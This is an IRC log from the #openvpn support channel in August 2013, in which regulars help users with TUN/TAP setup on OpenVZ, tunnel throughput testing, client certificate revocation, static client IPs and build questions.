22:29 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 240 seconds]
22:32 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
22:41 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 240 seconds]
22:58 -!- Linmu [~Linmu@203.70.194.104] has quit [Remote host closed the connection]
22:59 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
23:01 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
23:21 -!- walp [~walp@unaffiliated/walp] has joined #openvpn
23:50 < badtab> Wed Aug  7 00:49:27 2013 Note: Cannot open TUN/TAP dev /dev/net/tun: Operation not permitted (errno=1) pekster, so?
23:55 <+pekster> Right, what exactly are you trying to do again?
23:55 <+pekster> See if it exists? I told you how to do that: check that it's a character device of type 10,200
23:55 <+pekster> If that's not what you're trying to do...
23:55 <+pekster> !goal
23:55 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
23:58 -!- MoPac [~MoPac@gateway/tor-sasl/mopac] has joined #openvpn
--- Day changed Wed Aug 07 2013
00:04 < badtab> pekster: i want to install an openvpn server on my newly acquired vps.
00:09 < badtab> ahhh, they have it disabled by default. that was confusing. sry.
00:10 < crus> hi dudes, got a speed issue on a site-to-site VPN.. doing http transfers via the tunnel is getting around 1.3Mb/sec.. yet if i do the same transfer via the public IP im getting 5Mb/sec.. not sure how to even begin troubleshooting this.... :?
00:11 <+pekster> badtab: Right, hence my earlier suggestion to simply look at the output of `ls -l /dev/net/tun` and confirm if it's 1) there and 2) is of the correct character device type. If not, you either need to 1) load the kernel module support or 2) create it if the module didn't already for you
00:12 <+pekster> Performing a 'cat' operation on that node is silly, and so is any guide that uses that in its steps
00:13 < Dar1us> I thnk if you had a system which was incapable of loading tun correctly you should reinstall
00:13 < Dar1us> that sort of thing hasn't been a problem is a long long time
00:13 < badtab> pekster: it was there and of proper form. but i had to enable tun/tap through my client control panel. this is an openvz, i wonder how they do this.
00:13 <+pekster> Poorly, no doubt
00:13 <+pekster> !openvz
00:13 <@vpnHelper> "openvz" is (#1) http://wiki.openvz.org/VPN_via_the_TUN/TAP_device to learn bout openvz specific stuff with regards to openvpn or (#2) It is usually less painful to switch to a host with better virtualization technology, eg KVM or Xen
00:15 <+pekster> crus: It's best to perform the same test on/off your VPN across the link itself, if possible (to exclude delays caused by "last-mile" routing in a server or client-side network, or other weirdness resulting from that.) Besides the crypto overhead, there's not much going on. If you'd like, you could try disabling lzo compression, but that only helps if your CPU is getting pegged anyway
00:15 <+pekster> Ideally do a speed benchmark to the VPN server itself using the same protocol both to the server's public (non-tunnled) IP, then to the VPN endpoint
00:16 < crus> pekster: i've got ( win2012 -> openvpn - to - openvpn - win2012 )... if i transfer between the 2012 boxes over the public internet.. the speed is fantastic.. just over the VPN it's slow.. lzo compression is turned off
00:17 <+pekster> What are the openvpn endpoints running? Are they powerful enough to do the userland crypto you're pushing?
00:18 < crus> pekster: they are amazon ec2 instances.. doesn't seem to make a difference if they are t1.micro or m1.medium instance sizes.
00:19 <+pekster> What happens if you time a transfer (could be scp for all it matters here) between the VPN endpoints themselves the same way?
00:19 < crus> I'll have a look...
00:20 <+pekster> That's what I'm driving at here: if there's a performance difference on *that*, you likely have a CPU or I/O bottleneck that should be fairly apparent there
00:21 <+pekster> Generally it's just CPU that's the issue, and even then that tends to manifest on either embedded hardware, or as you approach hundreds of MB/s transfer rate (you'd need hw crypto accel to go that fast anyway in userland))
00:34 < crus> yeah iperf between the 2 VPN instances is much the same with or without the VPN...
00:34 < crus> So i can only put it down to TCP window scaling when going from 2012 -> 2012 directly.. perhaps my tunnel would be better on TCP and adjusting the window sizes instead of using UDP?
00:34 < crus> there's 220ms between the 2 VPN endpoints
00:35 <+pekster> Scaling should still compensate for that; outside of the potential for MTU issues, it's never a good idea to use UDP unless you absolutely have to
00:35 <+pekster> (and MTU issues are easy to fix for TCP transport over the VPN anyway with the --mssfix option (read the manpage on that)
00:35 <+pekster> That is, TCP being transported over a UDP tunnel
00:36 < Dar1us> surely you should always use openvpn over UDP wherever possible
00:36 < crus> I'm confused by that too.. the documentation says to use UDP where possible :O
00:36 <+pekster> Since it's clearly not the VPN, are you suggesting whatever protocol your win2k12 boxes are using would "break" the same way if a router along the path happened to be using a sub-1500 MTU? Depends on the protocol I suppose, but I'd call that pretty broken if that's true
00:37 <+pekster> (assuming it's MTU -- it might not be, but the same transfer speed should rule out the VPN transport itself as the issue)
00:37 < Dar1us> also if you are having perf problems start with simple stuff
00:37 < Dar1us> eg to ttcp tests on the OUTER links first (ie no openvpn)
00:37 < Dar1us> then test IN openvpn
00:38 < crus> Dar1us: yep, thats what ive done.. im getting 5Mb/sec HTTP transfer out of the tunnel.. and only 1.3Mb in the tunnel
00:38 <+pekster> Yea, the VPN endpoints are fine and show no speed difference (just did that) yet the clients on LANs behind either one hurl chunks across the VPN. Besides the LAN exchange of packets being the issue (QoS or poor handling of MTU or window scaling by said clients) there's not a good reason for that
00:39 -!- MoPac [~MoPac@gateway/tor-sasl/mopac] has quit [Ping timeout: 240 seconds]
00:39 < Dar1us> crus: try ttcp
00:39 < Dar1us> srs
00:39 < Dar1us> crus: also I would check for fragmentation
00:40 < Dar1us> make sure you aren't blockig ICMP so PMTU works
00:40 <+pekster> With --fixmss there shouldn't be any...
00:40 <+pekster> But yea, all good suggestions to verify the basics haven't been mangled horribly
00:41 <+pekster> Can't hurt to trap some traffic on/off the VPN and start analyzing where it's different
00:41 <+pekster> ie: "all the usual things" you'd do anyway for basic networking issues
00:43 < Dar1us> ie tedious crap ;)
00:44 <+pekster> networking isn'a always about the "cookie monster" -- http://pekster.sdf.org/misc/hackers_cookie.avi
00:50 <@EugeneKay> NOT MY GIBSON
00:51 <+pekster> "The pool on the roof must have a leak"
00:52 < crus> i just rebooted my vpn instances and iperf is showing radically different results...
00:52 < crus> [ 4] local 10.0.0.6 port 5001 connected with 169.254.255.2 port 36904
00:52 < crus> [ 4] 0.0-10.8 sec 11.0 MBytes 8.55 Mbits/sec
00:52 < crus> [ 5] local 10.0.0.6 port 5001 connected with 54.252.201.93 port 55433
00:52 < crus> [ 5] 0.0-10.3 sec 66.0 MBytes 53.6 Mbits/sec
00:52 < crus> ^^ iperf server output.. client is the other VPN instance.. :/ on and off the tunnel.
00:54 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
00:54 <@EugeneKay> We really need a guide to point people at for common throughput issues
00:56 <+pekster> Somewhat clever use of the top (unused) /24 from RFC3927, I note
00:57 < crus> plucked straight from the Amazon guide ;)
00:59 <@EugeneKay> One of these days I'll use RFC5737 blocks
00:59 <+pekster> Also interesting is the largely unused RFC2544 that few people are likely to ever consider using
01:00 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has joined #openvpn
01:00 < crus> Whats more interesting is the 53Mbit's via the public IP and only 8.5Mbit's via the VPN address :(
01:00 <+pekster> Or any of the so-called Class-E space in 240/4, although Windows refuses to deal with it (Linux purrs just happily)
01:00 < d12fk> new icons for the openvpn-gui, take a peek
01:01 <@EugeneKay> I've seen that used in networks with very full 10.0.0.0/8 blocks
01:01 < d12fk> http://sourceforge.net/projects/openvpn-gui/files/Precompiled%20Binaries/version%205%20%2B%20new%20icons/openvpn-gui.exe/download
01:01 <@vpnHelper> Title: Download OpenVPN GUI from SourceForge.net (at sourceforge.net)
01:01 <@EugeneKay> Absolutely terrifying
01:01 <+pekster> crus: If you get different results different times you run your test, then clearly some other variable beyond openvpn is at play here. Again, the most common issue for thoughput problems is CPU saturation, followed by MTU problems
01:02 <+pekster> If you get desparate, RFC6598 can be abused too, assuming your ISP doesn't "serve" you Internet via the nat-4-life IP range
01:03 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
01:03 <@EugeneKay> 224/4 is bigger, and more rarely encountered
01:03 <@EugeneKay> Windows(AFAIK) won't even barf on it
01:03 < Dar1us> isn't 224 for multicast?
01:03 <@EugeneKay> Yup.
01:04 < Dar1us> using that for normal addresses seems like a really dumb idea
01:04 <@EugeneKay> Yup.
01:04 < Dar1us> :)
01:04 <@EugeneKay> You can also fairly safely use the DoD blocks
01:04 < Dar1us> bleh
01:04 < Dar1us> use ipv6 :-/
01:04 <@EugeneKay> Oh, I do. :-p
01:04 <@EugeneKay> But $CLIENT is an idiot
01:11 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-ogehyijtrwsvtucd] has quit [Read error: Connection reset by peer]
01:11 -!- sandeepr_ltp [~sandeepr_@15.211.201.86] has joined #openvpn
01:23 -!- mchou [~quassel@unaffiliated/mchou] has quit [Remote host closed the connection]
01:26 -!- sandeepr_ltp [~sandeepr_@15.211.201.86] has quit [Read error: Connection reset by peer]
01:26 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-ponfzltcjjuukqxr] has joined #openvpn
01:53 < nohitall> random infosec information: Putty 0.63 released, if someone cares
02:03 -!- devdel [~d3vd3l@h-237-32.a199.priv.bahnhof.se] has joined #openvpn
02:13 -!- Synthead [~max@c-67-170-96-239.hsd1.wa.comcast.net] has quit [Ping timeout: 245 seconds]
02:30 < dansmithbtc2> Hello, has anyone succeeded decrypting OpenVPN traffic with wireshark? wireshark's preferences for OpenVPN are very scant.
02:31 -!- MariusIT [~MariusIT@91.201.195.240] has joined #openvpn
02:32 -!- Sjors [~sgielen@foo.kassala.de] has quit [Ping timeout: 246 seconds]
02:34 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
02:42 -!- sobersabre [~sobersabr@bzq-79-179-200-208.red.bezeqint.net] has quit [Remote host closed the connection]
02:57 < nohitall> dansmithbtc2: decrypting? good luck
02:58 < dansmithbtc2> nohitall, even though I control both the OpenVPN server and client?
02:59 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Read error: Operation timed out]
03:01 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
03:02 < nohitall> dansmithbtc2: well then its easy
03:03 < dansmithbtc2> nohitall, have you succeeded with wireshark?
03:03 -!- iokill [~iokill@91.114.127.102] has joined #openvpn
03:06 -!- eliasp_ [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
03:06 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Ping timeout: 246 seconds]
03:07 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Remote host closed the connection]
03:11 -!- iokill [~iokill@91.114.127.102] has quit [Quit: iokill]
03:14 -!- eliasp_ [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Ping timeout: 276 seconds]
03:15 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
03:24 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
03:27 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds]
03:30 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
03:31 -!- mode/#openvpn [+o krzee] by ChanServ
03:39 < nohitall> anyone here who is fit in topology?
03:41 < Aketzu> probably
04:11 -!- simpleuser [~simpleuse@unaffiliated/simpleuser] has joined #openvpn
04:12 < simpleuser> Hello. I can't connect to my VPN. Do you know why ? Here is the answer of openvpn : https://dpaste.de/yGBGp/
04:15 < Aketzu> "Cannot load CA certificate file: No such file or directory"
04:15 < Aketzu> you are probably in wrong directory and config doesn't use absolute paths
04:18 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 246 seconds]
04:22 < simpleuser> Thanks Aketzu. I changed the ca address to absolute address. Now it works :)
04:24 < simpleuser> Well actually it doesn't tell me this anymore... But here is what i get now : https://dpaste.de/SatHa/
04:28 < Aketzu> "TLS key negotiation failed to occur within 60 seconds"
04:28 < Aketzu> i.e. timeout
04:28 < Aketzu> either there is some firewall in between, server is down or you have wrong ip/port
04:32 < simpleuser> Aketzu: Mmm... Strange. It's vpntunnel. I added rules in gufw.
04:32 < simpleuser> Same thing for my router.
04:34 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
05:00 -!- Denial [Denial@90.202.5.141] has joined #openvpn
05:02 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-ponfzltcjjuukqxr] has quit [Ping timeout: 240 seconds]
05:05 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-iqulzafdlwklkzrf] has joined #openvpn
05:13 -!- JSharpe [~JSharpe@h5-152-198-170.host.redstation.co.uk] has joined #openvpn
05:17 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 240 seconds]
05:34 -!- JesseC [~Chumba@wsip-98-175-20-126.br.br.cox.net] has quit [Remote host closed the connection]
05:34 -!- JesseC [~Chumba@wsip-98-175-20-126.br.br.cox.net] has joined #openvpn
05:45 -!- simpleuser_ [~simpleuse@116.174.66.86.rev.sfr.net] has joined #openvpn
05:45 -!- simpleuser_ [~simpleuse@116.174.66.86.rev.sfr.net] has quit [Client Quit]
05:46 -!- simpleuser [~simpleuse@unaffiliated/simpleuser] has quit [Ping timeout: 245 seconds]
05:47 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
05:48 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
05:49 -!- treegazer [~mpb@host86-146-110-63.range86-146.btcentralplus.com] has left #openvpn ["Leaving"]
05:53 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-iqulzafdlwklkzrf] has quit [Quit: Leaving]
05:59 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn []
06:09 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
06:15 -!- JSharpe [~JSharpe@h5-152-198-170.host.redstation.co.uk] has quit [Ping timeout: 264 seconds]
06:15 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
06:27 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
06:30 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 245 seconds]
06:41 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
06:58 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has joined #openvpn
06:58 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has quit [Changing host]
06:58 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
07:18 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has quit [Ping timeout: 240 seconds]
07:25 -!- JSharpe [~JSharpe@37.220.15.234] has joined #openvpn
07:30 -!- Paddez1 is now known as Paddez
08:23 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
08:44 -!- krantz [~d3vd3l@h-237-32.a199.priv.bahnhof.se] has joined #openvpn
08:44 -!- devdel [~d3vd3l@h-237-32.a199.priv.bahnhof.se] has quit [Read error: Connection reset by peer]
08:46 -!- devdel [~d3vd3l@h-237-32.a199.priv.bahnhof.se] has joined #openvpn
08:46 -!- krantz [~d3vd3l@h-237-32.a199.priv.bahnhof.se] has quit [Read error: Connection reset by peer]
08:50 -!- devdel [~d3vd3l@h-237-32.a199.priv.bahnhof.se] has quit [Ping timeout: 240 seconds]
09:02 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
09:02 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
09:06 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
09:07 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
09:11 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
09:12 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit []
09:12 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
09:34 -!- EmperorTom is now known as _quadDamage
09:39 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has joined #openvpn
09:45 -!- kjs [~kjs@fedora/kjs] has joined #openvpn
09:46 < kjs> question, when i sign a client cert against server CA, is there any point in doing this for each user or can i just use the same client cert each time.
09:47 < Dar1us> kjs: if you have one per user you can revoke them individually
09:48 <+pekster> And identify which user connected bassed on their certificate Common Name
09:51 < kjs> how would you remove it out of interest ?
09:51 < kjs> removoke*
09:51 < kjs> revoke
09:51 < kjs> I could just change their password also...
09:53 <+pekster> kjs: If a CA revokes a certificate (and publishes an updated CRL that the server uses, that step is importnat!) the server will reject connections from the otherwise-valid certificate
09:53 <+pekster> This is used when the private key has been lost or compromised and can thus no longer be trusted for securely prooving the identity of the remote entity
09:58 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
09:59 -!- lmm_ is now known as lmm
10:12 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has quit [Ping timeout: 245 seconds]
10:15 -!- Denial [Denial@90.202.5.141] has quit []
10:22 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
10:22 -!- mode/#openvpn [+o mattock_afk] by ChanServ
10:22 -!- mattock_afk is now known as mattock
10:22 -!- devdel [~d3vd3l@h-237-32.a199.priv.bahnhof.se] has joined #openvpn
10:22 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn []
10:23 -!- raidz_away is now known as raidz
10:24 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
10:24 -!- mode/#openvpn [+o mattock] by ChanServ
10:29 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
10:38 -!- fischli [~fischli@data.fischer-ing.de] has quit [Quit: Leaving.]
10:41 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has joined #openvpn
10:49 -!- Devastatr [~devas@177.18.199.65] has joined #openvpn
10:50 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 264 seconds]
10:56 < Aketzu> it is not separate anymore
10:57 <+pekster> The openvpn-build project ( https://github.com/OpenVPN/openvpn-build ) contains references to the GUI source
10:57 <@vpnHelper> Title: OpenVPN/openvpn-build · GitHub (at github.com)
10:57 <+pekster> IIRC it's also a google code project, but the release-source-tarballs are probably what you want
10:57 <+pekster> https://github.com/OpenVPN/openvpn-build/blob/master/generic/build.vars#L16
10:57 <@vpnHelper> Title: openvpn-build/generic/build.vars at master · OpenVPN/openvpn-build · GitHub (at github.com)
10:59 <+pekster> moxie: Were you the one claiming the build sytsem "didn't work" earlier? I have no clue why you're trying to use a 1.x version of the GUI, but that's WAY old (like, 5+ years out of date)
10:59 <+pekster> If you checked out the openvpn-build git project as the build guide instructed you do, there's no way you'd be using that version
11:01 <@vpnHelper> Title: OpenVPN GUI / Code / [10c32f] (at sourceforge.net)
11:02 <+pekster> If you want bleeding-edge sources, sure. Why not use the June 2013 official release though? http://build.openvpn.net/downloads/releases/
11:02 <@vpnHelper> Title: Index of /downloads/releases/ (at build.openvpn.net)
11:02 <+pekster> I just gave you the refernce to the source. Which in fact is pulling a release tarball for the very project you just linked
11:02 <+pekster> build.vars line 16
11:04 <+pekster> I'm just confused why you're referencing 1.x versions (depending on release, that may not be quite as old as I first thought) when the build system has used version 2 since at least Jan of this year
11:04 <+pekster> Either 1) you're following some guide not using the openvpn-build project which the official developer docs point you to, or 2) your checkout is over 8 months old (time to `git fetch` if that's the case)
11:05 <@vpnHelper> Title: OpenVPN GUI / Code / [10c32f] (at sourceforge.net)
11:05 <@vpnHelper> Title: MinGW | Minimalist GNU for Windows (at www.mingw.org)
11:06 <+pekster> moxie: https://community.openvpn.net/openvpn/wiki/BuildingUsingGenericBuildsystem
11:06 <@vpnHelper> Title: BuildingUsingGenericBuildsystem – OpenVPN Community (at community.openvpn.net)
11:06 <+pekster> The recommend way is to cross-compile on a Linux host as this is far easier (just run a VM if you wish not to run a "bare metal" box)
11:08 <+pekster> I've wnated to tweak a single component too, but the build system is so polished I just let it build me a complete package (minus the tap drivers which need to be signed to be universally useful) and then publish that
11:08 <+pekster> You already don't get the "installer package" code signing unless you use your own code signing key, and you can do that to the installed binary when you've got it ready anyway
11:09 <+pekster> Yes, it takes a "little longer", but it's so clean and easy to use I don't see any reason not to. If you specifically wanted to try and build one component (on Windows no-less, ugh) try #openvpn-devel where you might get more info
11:10 <+pekster> Note that, at least for openvpn, the use of MSVC is "not officially supported" according to the documenetation, and you're encouraged to cross-compile on Windows anyway
11:10 <+pekster> Sure. FWIW two of us gave you that same URL yesterday
11:10 <+pekster> (hence why I was still confused this morning why you were referencing other docs)
11:10 <+pekster> s/on Windows/for Windows/
11:12 <+pekster> Ah. I'm sure it's 'possible' to build it (and it alone) but if you're creating an actual installable package, you need openvpn-build anyway
11:13 <+pekster> No, and in the FOSS world it's generally preferred to build from a *nix host anyway so the build system doesn't need to be supported twice: once for 'most people' then again for MSVC
11:33 -!- JesseC [~Chumba@wsip-98-175-20-126.br.br.cox.net] has quit []
11:35 -!- Denial [Denial@90.202.5.141] has joined #openvpn
11:40 -!- KernalPanic [~Kernal@cpe-66-69-108-57.satx.res.rr.com] has joined #openvpn
11:48 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 276 seconds]
11:54 -!- novaflash_sick is now known as novaflash
12:01 -!- wykydtron [tassadar@persephone.darkness-reigns.net] has joined #openvpn
12:07 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
12:14 -!- Kalavera [~Kalavera@aquiles.novelix.com.pe] has left #openvpn []
12:45 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
12:54 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Ping timeout: 264 seconds]
12:58 -!- laner [~Lane@66.132.131.247] has joined #openvpn
13:01 -!- Devastatr [~devas@177.18.199.65] has quit [Changing host]
13:01 -!- Devastatr [~devas@unaffiliated/devastator] has joined #openvpn
13:01 -!- Devastatr is now known as Devastator
13:05 -!- street [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
13:06 -!- street [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Client Quit]
13:06 -!- laner [~Lane@66.132.131.247] has quit [Ping timeout: 276 seconds]
13:24 -!- Mike-- [mad@probie.xs4all.nl] has joined #openvpn
13:24 < Mike--> Hi :)
13:24 < Mike--> before I go on a wild goose chase
13:25 < Mike--> is it possible with openvpn to give the same ip address to the same server
13:25 < Mike--> in such a way that I can connect 100 hosts (using openvpn) that would always get the same ip?
13:25 <+pekster> !static
13:25 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
13:25 < Mike--> nice
13:25 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 260 seconds]
13:26 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
13:26 < Mike--> how about limiting inter-vpn server traffic
13:26 < Mike--> like vpn connection 1 cannot send a package to vpn connection 2
13:26 < Mike--> ?
13:26 <+pekster> Simply don't use --client-to-client (that is not the default) and firewall as you would normally
13:27 <+pekster> (see that options description in the manpage)
13:27 < Mike--> I meant from the server side
13:27 < Mike--> I do not have full control over the possible vpn cliens
13:27 < Mike--> *ts
13:27 <+pekster> So do I
13:27 < Mike--> ok
13:27 < Mike--> sorry i misunderstood
13:27 < Mike--> sounds like a very good product
13:27 < Mike--> I already love it
13:28 < Mike--> but it's even more agile than I thought
13:28 < Mike--> thanks guys
13:30 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
13:31 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
13:39 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
13:44 <@EugeneKay> Agile!
13:44 <@EugeneKay> Web scale!
13:48 -!- Denial [Denial@90.202.5.141] has quit []
13:50 < Mike--> !ccd
13:50 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
13:50 < Mike--> !iporder
13:50 <@vpnHelper> "iporder" is (#1) OpenVPN's internal client IP address selection algorithm works as follows: 1 -- Use --client-connect script generated file for static IP (first choice). or (#2) Use --client-config-dir file for static IP (next choice) !static for more info or (#3) Use --ifconfig-pool allocation for dynamic IP (last choice) or (#4) if you use --ifconfig-pool-persist see !ipp
13:51 < Mike--> !ipp
13:51 <@vpnHelper> "ipp" is (#1) the option --ifconfig-pool-persist ipp.txt does NOT create static ips or (#2) Note that the entries in this file are treated by OpenVPN as suggestions only, based on past associations between a common name and IP address. They do not guarantee that the given common name will always receive the given IP address. If you want guaranteed assignment, see !iporder and !static
13:53 < Mike--> !net30
13:53 <@vpnHelper> "net30" is "/30" is (#1) http://openvpn.net/index.php/documentation/faq.html#slash30 explains why routed clients each use 4 ips, or (#2) you can avoid this behavior with by reading !topology
13:55 < Mike--> !topology
13:55 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) See http://osdir.com/ml/network.openvpn.devel/2005-09/msg00020.html for more history on this.
14:43 -!- hophoyl [~unknown@37.44.94.198] has joined #openvpn
14:43 < hophoyl> hi guys, I use Linux and I would like to know how to make sure that openvpn will fetch the username and password in a .txt file after it loses connection to the vpn ?
14:44 < kro[au]> hophoyl, auth-user-pass file.txt in the client config ?
14:44 < hophoyl> yes I'm using that
14:44 < hophoyl> what I'm saying is, if a connection is lost, will it fetch again the user and password ?
14:45 < hophoyl> imagine the password changed, file with password updated, will it fetch the new password?
14:45 < kro[au]> hophoyl, simulate the disconnection :) find out.
14:45 < hophoyl> thank you so much
14:45 < hophoyl> you are so helpful.
14:45 -!- hophoyl [~unknown@37.44.94.198] has left #openvpn []
14:45 < kro[au]> at home i would remove ethernet cable
14:45 < kro[au]> err
14:52 -!- cj [~cjac@2607:ff08:f5:3a::3] has quit [Ping timeout: 264 seconds]
15:18 -!- sauce_ is now known as sauce
15:18 -!- sauce [~sauce@ool-ad02ad20.dyn.optonline.net] has quit [Changing host]
15:18 -!- sauce [~sauce@unaffiliated/sauce] has joined #openvpn
15:22 -!- higuita [~higuita@2001:b18:400f:0:ad62:80c:f012:b058] has quit [Ping timeout: 260 seconds]
15:27 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 245 seconds]
15:35 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Read error: Connection reset by peer]
15:40 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
15:49 -!- midacts [~midacts@207.59.77.254] has quit [Quit:  HydraIRC -> http://www.hydrairc.com <- In tests, 0x09 out of 0x0A l33t h4x0rz prefer it :)]
16:41 -!- trumee [~parul@93.186.149.62] has quit [Read error: Connection reset by peer]
16:45 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 240 seconds]
16:48 -!- trumee [~parul@93.186.150.236] has joined #openvpn
17:20 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 264 seconds]
17:22 -!- MariusIT [~MariusIT@91.201.195.240] has quit [Ping timeout: 245 seconds]
17:43 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
17:47 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 245 seconds]
18:27 -!- devdel [~d3vd3l@h-237-32.a199.priv.bahnhof.se] has quit [Ping timeout: 264 seconds]
18:40 -!- higuita [~higuita@2001:b18:400f:0:c445:350e:a7e:8fdc] has joined #openvpn
18:43 -!- troj [~xxx@94.242.205.4] has quit [Quit: :(]
18:43 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
18:49 -!- master_of_master [~master_of@p4FF24987.dip0.t-ipconnect.de] has joined #openvpn
18:52 -!- master_o1_master [~master_of@p4FF24970.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds]
19:42 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
19:47 -!- raidz is now known as raidz_away
19:50 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
20:02 -!- p0rk [~d0dger@pa-67-235-85-236.dhcp.embarqhsd.net] has joined #openvpn
20:02 < p0rk> When I connect to a VPN using command line in Ubuntu it works fine. But when I copy the exact same command into a shell script and use that, I get an error about the ca.crt file not being loaded.
20:02 < p0rk> Why would it be any different?
20:05 -!- p3rror [~p3rror@41.248.206.241] has joined #openvpn
20:10 < p0rk> anybody?
20:10 < Dar1us> p0rk: did you copy ca.crt over?
20:10 < Dar1us> what is the exact error?
20:10 < p0rk> yup
20:11 < p0rk>  Cannot load CA certificate file ca.crt path (null) (SSL_CTX_load_verify_locations): error:02001002:system library:fopen:No such file or directory: error:2006D080:BIO routines:BIO_new_file:no such file: error:0B084002:x509 certificate routines:X509_load_cert_crl_file:system lib
20:11 < p0rk> the thing is
